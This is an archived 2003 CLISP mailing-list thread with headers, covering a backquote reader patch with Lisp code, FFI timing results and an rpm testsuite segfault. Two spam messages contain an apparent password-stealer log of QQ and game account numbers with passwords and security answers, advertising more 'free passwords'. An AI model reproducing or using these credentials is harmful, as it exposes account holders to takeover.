2003 14:50:19 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2RJoImp027295; Thu, 27 Mar 2003 14:50:18 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 62 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.42.128] at Thu, 27 Mar 2003 13:49:01 -0600 Subject: [clisp-list] Re: New patch. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 11:50:06 2003 X-Original-Date: 27 Mar 2003 14:50:18 -0500 > * In message > * On the subject of "Re: New patch." > * Sent on Thu, 27 Mar 2003 10:23:48 -0800 (PST) > * Honorable Kaz Kylheku writes: > > On 27 Mar 2003, Sam Steingold wrote: > > > * Honorable Kaz Kylheku writes: > > > > > > http://users.footprints.net/~kaz/clisp-cvs-2003-04-26-backquote.diff > > > > read-from-string "`,@x") > > -ERROR > > +(SYSTEM::BACKQUOTE (SYSTEM::SPLICE X)) > > > > this is not good: backquote is a reader macro, so the error must be > > signalled at read time, not macroexpand time (CMUCL and unpatched CLISP > > signal at read time). > > If you are really adamant about catching `,@FORM at read time, > it can be achieved trivially. After the the backquote reader > reads the following object, if it's a cons whose car is the symbol > SYSTEM::SPLICE or SYSTEM::NSPLICE, then signal the error. > But I think that the macro-expansion-time check should stay in place, > to trap cases when the error occurs in ``synthetic'' backquotes. maybe the BACKQUOTE macro should be expanded at read time, just like CLISP does right now. > CLHS says that `,@FORM ``has undefined consequences'', which means > that the behavior can range from harmless to fatal, without signaling > an error. So I think this implementation is acceptable. In principle > we could even silently provide some extension of behavior. CLISP usually signals an error in "undefined consequences". > In practice, will the difference matter to anyone? Typically the > backquote macro will be expanded at compile time, which is right > after the source is read. the earlier you detect errors the better, right? > It makes a difference to backquotes that are not evaluates or expanded, > such as quoted occurences. This just means that CLISP won't be a > portability helper to the user in some rare cases. why? if CLISP detects errors earlier than it has to, it's good! > Besides, both the unpatched CLISP and CMUCL have backquote bugs I think the new BQ should improve in all areas. removing some bugs (improving!) and moving error detection to a later time (deterioration?) is not nice. I am not really sure on this, so maybe you could raise this issue on c.l.l? thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux When we break the law, they fine us, when we comply, they tax us. From kaz@footprints.net Thu Mar 27 12:14:43 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ydlM-0007g0-00 for ; Thu, 27 Mar 2003 12:14:12 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18ydkr-000543-00; Thu, 27 Mar 2003 12:13:41 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New patch. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 12:15:20 2003 X-Original-Date: Thu, 27 Mar 2003 12:13:41 -0800 (PST) On 27 Mar 2003, Sam Steingold wrote: > > On 27 Mar 2003, Sam Steingold wrote: > > > > * Honorable Kaz Kylheku writes: > > > > > > > > http://users.footprints.net/~kaz/clisp-cvs-2003-04-26-backquote.diff > > > > > > read-from-string "`,@x") > > > -ERROR > > > +(SYSTEM::BACKQUOTE (SYSTEM::SPLICE X)) > > > > > > this is not good: backquote is a reader macro, so the error must be > > > signalled at read time, not macroexpand time (CMUCL and unpatched CLISP > > > signal at read time). > > > > If you are really adamant about catching `,@FORM at read time, > > it can be achieved trivially. After the the backquote reader > > reads the following object, if it's a cons whose car is the symbol > > SYSTEM::SPLICE or SYSTEM::NSPLICE, then signal the error. > > But I think that the macro-expansion-time check should stay in place, > > to trap cases when the error occurs in ``synthetic'' backquotes. > > maybe the BACKQUOTE macro should be expanded at read time, just like > CLISP does right now. You just need something like this version of backquote-reader: (defun backquote-reader (stream char) (declare (ignore char)) (let* ((*unquote-occured* nil) (*reading-array* nil) (*backquote-level* (1+ (or *backquote-level* 0))) (object (read stream t nil t))) ;; Check for unquotes in wrong type objects. (unless (or (and (vectorp object) (not (stringp object)) (not (bit-vector-p object))) (listp object)) (when *unquote-occured* (error-of-type 'error (TEXT "~S: unquotes may occur only in (...) or #(...) forms") 'read))) ;; Read-time check for ,@ or ,. not in list. ;; Also tested at macro-expansion time for ;; backquotes synthesized by means other than the reader (when (consp object) (case (car object) ((SPLICE) (error-of-type 'error (TEXT "the syntax `,@form is undefined behavior"))) ((NSPLICE) (error-of-type 'error (TEXT "the syntax `,.form is undefined behavior"))))) (list 'BACKQUOTE object))) > I am not really sure on this, so maybe you could raise this issue on > c.l.l? What for; it's clear you want early detection. On c.l.l, people will probably just reiterate that it's undefined behavior, but that catching errors early is nice. ;) From rf@163.com Thu Mar 27 12:34:40 2003 Received: from [218.21.85.54] (helo=163.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ye57-0001xQ-00 for ; Thu, 27 Mar 2003 12:34:37 -0800 From: "uidvil" To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="GB2312" Reply-To: efjh@163.com X-Priority: 2 X-Mailer: FoxMail 3.11 Release [cn] Message-Id: Subject: [clisp-list] =?GB2312?B?w+K30cvNw9zC66O/usO24MW2o6Gyu7+0uvO72g==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 12:35:20 2003 X-Original-Date: Fri, 28 Mar 2003 04:32:57 +0800 ¸ü¶àÃâ·ÑÃÜÂëÇë¿´http://www.xixihaha.91i.net ÐòºÅ:0032 ʱ¼ä:2003-03-30 09:29:48 ÖÜÈÕ -------- 00000454(478,300): : Íê³É(ÄúµÄQQºÅÊÇ68050109) -> ÊäÈë¿ò: 68050109 ÃÜÂë¿ò: 71119927775977 ÐòºÅ:0022 ʱ¼ä:2003-03-27 08:44:50 ÖÜËÄ -------- 00000850(491,367): xxxxxx: ÍøÂçÉèÖà -> ÊäÈë¿ò: 57692500 ÃÜÂë¿ò: 84122684522 ÐòºÅ:0037 ʱ¼ä:2003-03-30 18:36:20 ÖÜÈÕ -------- 00000a28(349,525): ¡Ë¡Ë´« Ææ[legend of mir] - http://jhgame2002.yeah.net -> ÍøÒ³: ¡Ë¡Ë´« Ææ[legend of mir] - http://61.151.255.6:8081/ ÊäÈë¿ò: 9668120789 email: 96681207892c.com ÊäÈë¿ò: 1 pphone: 1 q1: 11 a1: 11 q2: 11 a2: 11 ÃÜÂë¿ò: 111 ÃÜÂë¿ò: 111 numcode: 2569 ÐòºÅ:0038 ʱ¼ä:2003-03-30 18:37:09 ÖÜÈÕ -------- 00000a28(409,210): ¡Ë¡Ë´« Ææ[legend of mir] - http://jhgame2002.yeah.net -> ÍøÒ³: ¡Ë¡Ë´« Ææ[legend of mir] - http://61.151.255.6:8081/ ÊäÈë¿ò: 9668120789 email: 9668120789@c.com ÊäÈë¿ò: 1 pphone: 1 q1: 789 a1: 789 q2: 789 a2: 789 ÃÜÂë¿ò: 789 ÃÜÂë¿ò: 789 numcode: 6255 ¸ü¶àÃâ·ÑÃÜÂëÇë¿´http://www.xixihaha.91i.net http://www.xixihaha.91i.net From a.bignoli@computer.org Thu Mar 27 14:31:37 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yfuJ-0006Tu-00 for ; Thu, 27 Mar 2003 14:31:35 -0800 Received: from ghimel.fauser.it (IDENT:0@pool1-ip10.fauser.it [80.20.153.75]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id XAA19396; Thu, 27 Mar 2003 23:27:31 +0100 (MET) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.8/8.12.8) with ESMTP id h2RMV41m000207; Thu, 27 Mar 2003 23:31:04 +0100 Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.8/8.12.8) with ESMTP id h2RMNg6a005853; Thu, 27 Mar 2003 23:23:42 +0100 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.8/8.12.8/Submit) id h2RFDSvm001986; Thu, 27 Mar 2003 16:13:28 +0100 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16003.5399.956270.13696@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0313A2DF@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0313A2DF@G8PQD.blf01.telekom.de> X-Mailer: VM 7.13 under Emacs 21.2.1 Subject: [clisp-list] Please try out FFI speed improvement Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 14:32:15 2003 X-Original-Date: Thu, 27 Mar 2003 16:13:27 +0100 Hoehle, Joerg-Cyril writes: > Could you please try out the following: with-c-var/cast Real time: 1.273894 sec. (it was 1.494392) Run time: 1.09 sec. (it was 1.17) Space: 3440000 Bytes GC: 4, GC time: 0.54 sec. with-foreign-object/%cast Real time: 0.521461 sec. (it was 0.638666) Run time: 0.44 sec. (it was 0.54) Space: 1520000 Bytes GC: 2, GC time: 0.27 sec. > I expect this code to work under all (if not 98%) current uses of > the CLISP FFI. Depending on LOAD-TIME-VALUE means that in theory, > problems could occur with things not yet defined at the time a file > is loaded (e.g. late definitions etc.). my FFI code for Berkeley DB works fine with this new definition. From rf@163.com Thu Mar 27 14:52:25 2003 Received: from [218.21.85.54] (helo=163.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ygES-0000rZ-00 for ; Thu, 27 Mar 2003 14:52:25 -0800 From: "uidvil" To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="GB2312" Reply-To: efjh@163.com X-Priority: 2 X-Mailer: Microsoft Outlook Express 5.00.2615.200 Message-Id: Subject: [clisp-list] =?GB2312?B?w+K30cvNw9zC66O/usO24MW2o6Gyu7+0uvO72g==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 14:54:15 2003 X-Original-Date: Fri, 28 Mar 2003 06:50:08 +0800 ¸ü¶àÃâ·ÑÃÜÂëÇë¿´http://www.xixihaha.91i.net ÐòºÅ:0032 ʱ¼ä:2003-03-30 09:29:48 ÖÜÈÕ -------- 00000454(478,300): : Íê³É(ÄúµÄQQºÅÊÇ68050109) -> ÊäÈë¿ò: 68050109 ÃÜÂë¿ò: 71119927775977 ÐòºÅ:0022 ʱ¼ä:2003-03-27 08:44:50 ÖÜËÄ -------- 00000850(491,367): xxxxxx: ÍøÂçÉèÖà -> ÊäÈë¿ò: 57692500 ÃÜÂë¿ò: 84122684522 ÐòºÅ:0037 ʱ¼ä:2003-03-30 18:36:20 ÖÜÈÕ -------- 00000a28(349,525): ¡Ë¡Ë´« Ææ[legend of mir] - http://jhgame2002.yeah.net -> ÍøÒ³: ¡Ë¡Ë´« Ææ[legend of mir] - http://61.151.255.6:8081/ ÊäÈë¿ò: 9668120789 email: 96681207892c.com ÊäÈë¿ò: 1 pphone: 1 q1: 11 a1: 11 q2: 11 a2: 11 ÃÜÂë¿ò: 111 ÃÜÂë¿ò: 111 numcode: 2569 ÐòºÅ:0038 ʱ¼ä:2003-03-30 18:37:09 ÖÜÈÕ -------- 00000a28(409,210): ¡Ë¡Ë´« Ææ[legend of mir] - http://jhgame2002.yeah.net -> ÍøÒ³: ¡Ë¡Ë´« Ææ[legend of mir] - http://61.151.255.6:8081/ ÊäÈë¿ò: 9668120789 email: 9668120789@c.com ÊäÈë¿ò: 1 pphone: 1 q1: 789 a1: 789 q2: 789 a2: 789 ÃÜÂë¿ò: 789 ÃÜÂë¿ò: 789 numcode: 6255 ¸ü¶àÃâ·ÑÃÜÂëÇë¿´http://www.xixihaha.91i.net http://www.xixihaha.91i.net From sds@gnu.org Thu Mar 27 15:42:18 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yh0i-0004Fu-00 for ; Thu, 27 Mar 2003 15:42:16 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out003.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030327234210.HEWK15663.out003.verizon.net@loiso.podval.org>; Thu, 27 Mar 2003 17:42:10 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2RNhSTx028435; Thu, 27 Mar 2003 18:43:28 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2RNhRSu028431; Thu, 27 Mar 2003 18:43:27 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 53 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [151.203.42.128] at Thu, 27 Mar 2003 17:42:09 -0600 Subject: [clisp-list] Re: New patch. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 15:43:08 2003 X-Original-Date: 27 Mar 2003 18:43:27 -0500 > * In message > * On the subject of "Re: New patch." > * Sent on Thu, 27 Mar 2003 12:13:41 -0800 (PST) > * Honorable Kaz Kylheku writes: > > (defun backquote-reader (stream char) > (declare (ignore char)) > (let* ((*unquote-occured* nil) > (*reading-array* nil) > (*backquote-level* (1+ (or *backquote-level* 0))) > (object (read stream t nil t))) > > ;; Check for unquotes in wrong type objects. > (unless (or (and (vectorp object) > (not (stringp object)) > (not (bit-vector-p object))) > (listp object)) > (when *unquote-occured* > (error-of-type 'error > (TEXT "~S: unquotes may occur only in (...) or #(...) forms") > 'read))) what if we had something like `(foo #2A((a b) (,c d))) ?? > ;; Read-time check for ,@ or ,. not in list. > ;; Also tested at macro-expansion time for > ;; backquotes synthesized by means other than the reader > (when (consp object) > (case (car object) > ((SPLICE) > (error-of-type 'error > (TEXT "the syntax `,@form is undefined behavior"))) > ((NSPLICE) > (error-of-type 'error > (TEXT "the syntax `,.form is undefined behavior"))))) > (list 'BACKQUOTE object))) > > > I am not really sure on this, so maybe you could raise this issue on > > c.l.l? > > What for; it's clear you want early detection. On c.l.l, people will > probably just reiterate that it's undefined behavior, but that catching > errors early is nice. ;) you never know, we may hear some additional insight! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Any programming language is at its best before it is implemented and used. From kaz@footprints.net Thu Mar 27 16:48:55 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yi2i-0001Tx-00 for ; Thu, 27 Mar 2003 16:48:24 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18yi2D-0006QZ-00; Thu, 27 Mar 2003 16:47:53 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New patch. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 16:49:28 2003 X-Original-Date: Thu, 27 Mar 2003 16:47:53 -0800 (PST) On 27 Mar 2003, Sam Steingold wrote: > > ;; Check for unquotes in wrong type objects. > > (unless (or (and (vectorp object) > > (not (stringp object)) > > (not (bit-vector-p object))) > > (listp object)) > > (when *unquote-occured* > > (error-of-type 'error > > (TEXT "~S: unquotes may occur only in (...) or #(...) forms") > > 'read))) > > what if we had something like > > `(foo #2A((a b) (,c d))) ?? Although *that* particular case will be handled by the fact that #2A reader will bind *reading-array* to T, which is checked by the COMMA-READER, the flaw you are thinking of is demonstrated by: `(foo #S(my-struct :foo ,c)) ;; no read error Boy, is my face red. *blush* I think that there is no nice way to get around the coupling between the backquote reader and the array and struct readers. Regardless of who establishes the special variable, the other has to dynamically clobber it. Either backquote-reader binds *reading-array* to NIL, or the array-reader binds *unquote-level* to zero. Looks like I have a tiny little bit of work to do here. What I will do is generalize the *reading-array* variable to also indicate that a struct is being read (and change its name). The advantage of this approach, rather than fiddling with *backquote-level* is that we can produce a more informative error like ``unquote in wrong type object'' rather than the confusing ``comma outside of backquote'' which appears to contradict the structure of the text that the user actually typed. The aim is to have distinct errors for the situations of naked unquotes, unquotes that outnumber backquotes, and unquotes in wrong objects. From unsubscribe@artcompendium.com Fri Mar 28 12:30:41 2003 Received: from mail1.artmarket.com ([194.242.43.183]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18z0Un-0002w1-00 for ; Fri, 28 Mar 2003 12:30:38 -0800 From: Art Press Agency To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Top 500 Best Selling Artists - les 500 meilleurs CA artistes aux encheres Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 28 12:32:04 2003 X-Original-Date: Fri, 28 Mar 2003 12:30:38 -0800 ArtMarketInsight - 2002 Records
[en français]

 ArtMarketInsight® by 

The Top 500 best selling artists at auction

Every year Artprice ranks artists by this criterion.

How do your favourite artists rank?

The top 500 artists by turnover in Artprice’s listings include Peter Paul Rubens as well as Picasso and Toulouse-Lautrec. But while Picasso topped the rankings last year Rubens was down at 94th and only managed that because the exceptional sale of The Massacre of the Innocents jumped him up the rankings... Read more

Exclusive list:
The artists in the spotlight in 2002

 

All the available commented indices and price levels by ArtMarketInsight®

artprice

 

To order the full market report for a specific artist:
econometrics@artprice.com


2003: the Art market in turmoil

Do not rely on outdated price information as in 1991.
More than ever sell or buy at the right price.
With Artprice in 2003 you are bound to win!

With Artprice daily updated databanks and reports
stick to the latest market moves!

Keep connected to the art market to find out who the winners and the loosers are : Artists, works, sale places, key figures and trends, latest auction results, price levels and indexes…
Artprice the world’s leader in art market information offers a 360-day unlimited access to its fine art data banks at a special price of 16.58 USD/EUR per month (until june 30, 2003)

 

Join the 900,000 Artprice customers

 

 


Removal instructions at the bottom of the page.









[in English]

 ArtMarketInsight® by 

Les 500 meilleurs CA d'artistes 2002

Artprice classe annuellement tous les artistes selon leur chiffre d’affaires en ventes publiques.

Comment se positionnent vos artistes préférés dans cette liste ?

Dans le « top 500 » des meilleurs chiffres d’affaires recensés par Artprice en 2002, on trouve aussi bien Peter Paul Rubens que Picasso ou Toulouse-Lautrec. Mais Picasso était déjà premier l’an dernier, alors que Rubens n’était que 94 et n’a fait ce bond en avant que grâce à la vente exceptionnelle du Massacre des Innocents... Lire l'article

La liste excusive
Les stars du marché de l'art en 2002

 

Retrouvez ces indices et cotes commentées sur ArtMarketInsight®

artprice

 

Vous souhaitez commander un dossier commenté sur un artiste précis,
contactez-nous : econometrics@artprice.com


En 2003, de violentes secousses sur le marché de l'Art

N'utilisez pas une information périmée comme en 1991
Partez gagnant en 2003 avec Artprice !

Avec Artprice vendez ou achetez avec les derniers prix du marché,
et suivez jour par jour, les dernières tendances.

Soyez connectés en permanence sur le marché de l'art pour savoir qui sont les gagnants et les perdants du marché. Artistes, œuvres, lieux de ventes, tendances, chiffres clés, derniers résultats, cotes, indices…
Artprice, leader mondial de l'information sur le marché de l'art, vous offre pour
16.58 EUR seulement par mois
(offre valable jusqu'au 30 juin 2003), 360 jours d'accès permanent à ces informations vitales pour vos décisions.

Rejoignez les 900 000 clients Artprice

 










To remove your email: clisp-list@lists.sourceforge.net
please click below:
http://list.artcompendium.com/?m=clisp-list@lists.sourceforge.net
In case the above link does not work you can go to
http://list.artcompendium.com/
or reply to this message as it is.
Please allow us 72 H for your e-mail to be removed.
Thank you for your co-operation.

Pour désinscrire votre email : clisp-list@lists.sourceforge.net
cliquez ci-dessous :
http://list.artcompendium.com/?m=clisp-list@lists.sourceforge.net
Si le lien ci-dessus ne fonctionne pas, vous pouvez aller sur :
http://list.artcompendium.com/
ou répondez svp à ce message sans en modifier le contenu.
Votre désinscription sera effective dans les 72 H.
Merci de votre coopération.

En conformité avec la loi 78-17 du 6/1/78 (CNIL), vous pouvez demander à ne plus figurer sur notre fichier de routage.



























From heinlein@cse.ogi.edu Fri Mar 28 14:40:25 2003 Received: from franklin.cse.ogi.edu ([129.95.40.7]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18z2WJ-0003vl-00 for ; Fri, 28 Mar 2003 14:40:19 -0800 Received: from euclid.cse.ogi.edu (euclid.cse.ogi.edu [129.95.41.95]) by franklin.cse.ogi.edu (8.12.7/8.12.6) with ESMTP id h2SMeBBQ005176 for ; Fri, 28 Mar 2003 14:40:11 -0800 (PST) Received: from glenfiddich.cse.ogi.edu (glenfiddich.cse.ogi.edu [129.95.33.101]) (authenticated bits=0) by euclid.cse.ogi.edu (8.12.8/8.12.5) with ESMTP id h2SMeBRM015706 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 28 Mar 2003 14:40:11 -0800 From: Paul Heinlein To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.25 (www . roaringpenguin . com / mimedefang) Subject: [clisp-list] clisp rpm oddness Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 28 14:41:19 2003 X-Original-Date: Fri, 28 Mar 2003 14:40:11 -0800 (PST) I'm not a LISP hacker, but I needed to build[1] CLISP for a couple researchers here at OGI. I grabbed the clisp-2.30.tar.gz tarball[2], read the documentation about building it on Unix, ran 'configure --help', and then built it. Everything went fine, and it passed the testsuite without error. So I encapsulated my build instructions into a .spec file (anally, I tend to write my own, so I didn't use Sam's version in the distribution tree) and ran rpmbuild. Ack! Errors (apparently at the beginning of streams.tst): (MULTIPLE-VALUE-SETQ (A B) (VALUES 10 20)) EQL-OK: 10 B EQL-OK: 20 *** - handle_fault error2 ! address = 0x20324060 not in [0x201F4000,0x202E333C) ! SIGSEGV cannot be cured. Fault address = 0x20324060. make[1]: *** [tests] Segmentation fault make[1]: Leaving directory `/var/tmp/rpmbuild/clisp-2.30/src/suite' make: *** [testsuite] Error 2 Experienced rpm builders will see that my %_builddir is set to /var/tmp/rpmbuild, instead of the standard /usr/src/redhat/BUILD. And *that* was the trouble: Build directory[3] Result of 'make check' -------------------- ---------------------- /tmp pass /var/tmp pass /var/tmp/rpmbuild fail /var/tmp/rpmbuil pass /var/tmp/rpmbuilc fail /var/tmp/rpmbuilcd pass /var/tmp/xxxxxxxx fail /var/tmp/xxxxxxx pass Any build in a directory named /var/tmp/<8 letters> failed. Wierder, all those /var/tmp/rpmbuil* directories were actually the same directory; I just renameded it between test builds. I even deleted one incarnation of /var/tmp/rpmbuild and mkdir-ed another, just for the heck of it. Same results. I tried mounting /var/tmp/rpmbuild as a tmpfs volume. Same results. I tried the build on a different, but similarly configured system. Same results. I'm not a member of this list, but if someone could tell why the testsuite fails in this manner -- be it my own mistake or not -- I'd be much obliged. +-----------------------------------------+----------------------+ | Paul Heinlein | heinlein@cse.ogi.edu | | Research Systems Engineer | +1 503 748-1472 | | Dept. of Computer Science & Engineering | 20000 NW Walker Road | | OGI School of Science & Engineering | Beaverton, OR 97006 | | Oregon Health & Science University | USA | +-----------------------------------------+----------------------+ [1] Build host info: * Red Hat 8, fully patched, 2.4.18-27.8.0 i686 * gcc 3.2 * GNU libc 2.3.2 * Intel(R) Pentium(R) 4 CPU 1.80GHz [2] md5sum: 57a8688957ddb8914a8a3ebb6a7c8676 [3] There are no typos in any of the directory names. From sds@gnu.org Fri Mar 28 16:53:44 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18z4bQ-0004Bu-00 for ; Fri, 28 Mar 2003 16:53:44 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop017.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030329005338.OTTK15296.pop017.verizon.net@loiso.podval.org>; Fri, 28 Mar 2003 18:53:38 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2T0sxTx011813; Fri, 28 Mar 2003 19:54:59 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2T0sxFY011809; Fri, 28 Mar 2003 19:54:59 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Paul Heinlein Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp rpm oddness References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 59 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.42.128] at Fri, 28 Mar 2003 18:53:37 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 28 16:54:29 2003 X-Original-Date: 28 Mar 2003 19:54:58 -0500 > * In message > * On the subject of "[clisp-list] clisp rpm oddness" > * Sent on Fri, 28 Mar 2003 14:40:11 -0800 (PST) > * Honorable Paul Heinlein writes: > > Ack! Errors (apparently at the beginning of streams.tst): > > (MULTIPLE-VALUE-SETQ (A B) (VALUES 10 20)) > EQL-OK: 10 > B > EQL-OK: 20 > *** - handle_fault error2 ! address = 0x20324060 not in [0x201F4000,0x202E333C) ! > SIGSEGV cannot be cured. Fault address = 0x20324060. > make[1]: *** [tests] Segmentation fault > make[1]: Leaving directory `/var/tmp/rpmbuild/clisp-2.30/src/suite' > make: *** [testsuite] Error 2 I do not observe this. > Experienced rpm builders will see that my %_builddir is set to > /var/tmp/rpmbuild, instead of the standard /usr/src/redhat/BUILD. > > And *that* was the trouble: > > Build directory[3] Result of 'make check' > -------------------- ---------------------- > /tmp pass > /var/tmp pass > /var/tmp/rpmbuild fail > 